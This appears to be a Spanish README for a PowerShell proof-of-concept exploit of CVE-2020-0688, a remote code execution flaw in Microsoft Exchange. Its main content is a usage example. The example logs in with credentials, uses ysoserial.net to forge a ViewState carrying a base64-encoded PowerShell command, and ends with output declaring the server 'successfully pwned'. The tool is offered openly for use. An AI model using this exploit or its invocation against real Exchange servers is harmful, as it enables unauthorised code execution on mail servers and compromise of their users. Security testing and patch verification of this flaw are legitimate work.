
Prueba de concepto para Forgot2kEyXCHANGE (CVE-2020-0688) escrito en PowerShell
PoC para Forgot2kEyXCHANGE (CVE-2020-0688) escrito en PowerShell
Este PoC requiere un nombre de usuario y contraseña válidos.
Este PoC usa ysoserial.net para crear el nuevo ViewState que contiene el comando que especificaste en el parámetro -Command. Si aún no lo tienes instalado en tu sistema, descárgalo aquí.
PS> . .\PSForgot2kEyXCHANGE.ps1
PS> Invoke-Forgot2kEyXCHANG -Server 'https://webmail.domain.tld' -User '[email protected]' -Password 'Summer2020!' -Command 'cmd /c powershell.exe -en dwByAGkAdABlAC0AaABvAHMAdAAgACcASQAnAG0AIABhACAAcwB0AGkAbgBrAHkAIABzAGsAaQBkACAAdwBoAG8AIAByAHUAbgBzACAAcgBhAG4AZABvAG0AIABjAG8AZABlACAAOgApACcA=' -YsoserialPath 'C:\tools\ysoserial.net\ysoserial.exe'
[+] Login successfully!
[+] Generated new ViewState successfully!
[+] Got a 500 response, successfully pwned https://webmail.domain.tld !
No dudes en abrir issues, contribuir y enviar tus Pull Requests. También puedes contactarme en Twitter (@JustinPerdok).